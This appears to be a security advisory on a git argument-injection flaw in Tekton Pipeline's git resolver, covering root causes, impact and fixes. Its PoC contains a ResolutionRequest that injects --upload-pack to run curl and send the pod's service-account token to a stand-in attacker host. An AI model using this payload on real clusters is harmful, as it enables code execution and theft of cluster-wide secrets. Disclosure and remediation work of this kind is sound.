Tekton Pipeline: Git Resolver Unsanitized Revision Parameter Enables git Argument Injection Leading to RCE

Summary

The git resolver's revision parameter is passed directly as a positional argument to git fetch without any validation that it does not begin with a - character. Because git parses flags from mixed positional arguments, an attacker can inject arbitrary git fetch flags such as --upload-pack=<binary>. Combined with the validateRepoURL function explicitly permitting URLs that begin with / (local filesystem paths), a tenant who can submit ResolutionRequest objects can chain these two behaviors to execute an arbitrary binary on the resolver pod. The tekton-pipelines-resolvers ServiceAccount holds cluster-wide get/list/watch on all Secrets, so code execution on the resolver pod enables full cluster-wide secret exfiltration.

Details

Root Cause 1 — Unvalidated revision parameter passed to git fetch

pkg/resolution/resolver/git/repository.go:85:

// pkg/resolution/resolver/git/repository.go lines 84-96
// 'revision' is the raw user-supplied string from the ResolutionRequest param.
// It is passed verbatim as a positional argument to git fetch:
func (repo *repository) checkout(ctx context.Context, revision string) error {
    _, err := repo.execGit(ctx, "fetch", "origin", revision, "--depth=1")
    // When revision == "--upload-pack=/usr/bin/curl", git parses it as the
    // --upload-pack flag, not as a refspec — executing the binary locally.
    if err != nil {
        return fmt.Errorf("fetch: %w", err)
    }
    _, err = repo.execGit(ctx, "checkout", "FETCH_HEAD")
    return err
}

execGit invokes exec.CommandContext("git", ...) — no shell is used, so shell metacharacters cannot be injected. However, git itself parses flags from mixed positional arguments. When revision = "--upload-pack=/path/to/binary", git receives this as the flag --upload-pack=/path/to/binary, not as a refspec. PopulateDefaultParams (resolver.go:418–424) applies only a leading-slash strip and a containsDotDot check on the pathInRepo parameter; the revision parameter receives no validation at all.

Root Cause 2 — validateRepoURL explicitly permits local filesystem paths

pkg/resolution/resolver/git/resolver.go:154-158:

// validateRepoURL validates if the given URL is a valid git, http, https URL or
// starting with a / (a local repository).
func validateRepoURL(url string) bool {
    pattern := `^(/|[^@]+@[^:]+|(git|https?)://)`
    re := regexp.MustCompile(pattern)
    return re.MatchString(url)
}

Any URL beginning with / passes validation and is used directly as the argument to git clone. This means a local filesystem path such as /tmp/some-repo is a valid resolver URL.

Exploit Chain

--upload-pack=<binary> causes git to execute the specified binary as the upload-pack server when communicating with the remote. For local-path remotes (/path), git invokes the binary on the resolver pod itself with the repository path as its sole argument. Because the argument is passed via exec.Command as a single --upload-pack=<binary> string (not split by a shell), only binaries at known paths can be invoked — but several useful binaries exist in the resolver pod image (e.g., /bin/sh, /usr/bin/curl, /bin/cp).

Attack complexity is High because the exploit requires either:

• A valid git repository at a known, predicable path on the resolver pod (e.g., /tmp/<reponame>-<suffix> from a concurrent resolution), or
• A default-URL configuration pointing at a local path

PoC

# Step 1: Set up a local git repository to serve as the "origin"
# (in a real attack, the attacker would time this against a concurrent clone
# or use any pre-existing git repo path on the resolver pod)
git init /tmp/localrepo && cd /tmp/localrepo && git commit --allow-empty -m "init"

# Step 2: Craft a ResolutionRequest with injected --upload-pack flag
kubectl create -f - <<'EOF'
apiVersion: resolution.tekton.dev/v1beta1
kind: ResolutionRequest
metadata:
  name: revision-injection-poc
  namespace: default
  labels:
    resolution.tekton.dev/type: git
spec:
  params:
    - name: url
      value: /tmp/localrepo
    - name: revision
      value: "--upload-pack=/usr/bin/curl http://c2.attacker.internal/$(cat /var/run/secrets/kubernetes.io/serviceaccount/token | base64 -w0)"
    - name: pathInRepo
      value: README.md
EOF

# The resolver pod executes:
# git -C <tmpdir> fetch origin \
#   "--upload-pack=/usr/bin/curl http://c2.attacker.internal/..." \
#   --depth=1
#
# For single-argument binaries (/bin/sh, /usr/bin/env, etc.):
# git -C <tmpdir> fetch origin "--upload-pack=/bin/sh" --depth=1
# Executes /bin/sh with the local repository path as argv[1].
# From /bin/sh, the attacker can use a pre-staged script (e.g., written
# via a workspace volume) to achieve arbitrary command execution.

Verified: git fetch origin --upload-pack=/tmp/test-exec.sh --depth=1 executes test-exec.sh on the local machine even when origin is a local filesystem path. Exit code 0 was observed with the test binary executed successfully.

Impact

• Code execution on the resolver pod when an attacker can stage or predict a valid git repository path in /tmp on the resolver pod.
• Full cluster-wide Secret exfiltration: The tekton-pipelines-resolvers ServiceAccount is bound to a ClusterRole that grants get/list/watch on all Secrets in all namespaces (config/resolvers/200-clusterrole.yaml). Code execution on the resolver pod is therefore equivalent to reading every Secret in the cluster.
• Privilege escalation: Secrets typically include kubeconfig files, cloud provider credentials, and API tokens — reading them enables lateral movement to cloud infrastructure.
• Both the deprecated resolver (pkg/resolution/resolver/git/) and the current resolver (pkg/remoteresolution/resolver/git/) share the same validateRepoURL, PopulateDefaultParams, and checkout implementation via the shared git package. Both are affected.

Recommended Fix

Fix 1 — Validate that revision does not begin with - in PopulateDefaultParams:

if strings.HasPrefix(paramsMap[RevisionParam], "-") {
    return nil, fmt.Errorf("invalid revision %q: must not begin with '-'", paramsMap[RevisionParam])
}

Fix 2 — Restrict validateRepoURL to remote URLs only (remove local-path support in production builds, or add an explicit admin opt-in feature flag):

func validateRepoURL(url string) bool {
    pattern := `^([^@]+@[^:]+|(git|https?)://)`
    re := regexp.MustCompile(pattern)
    return re.MatchString(url)
}

Applying Fix 1 alone is sufficient to prevent the argument injection. Fix 2 eliminates the enabling condition (local-path remotes for which --upload-pack runs locally) and reduces attack surface further.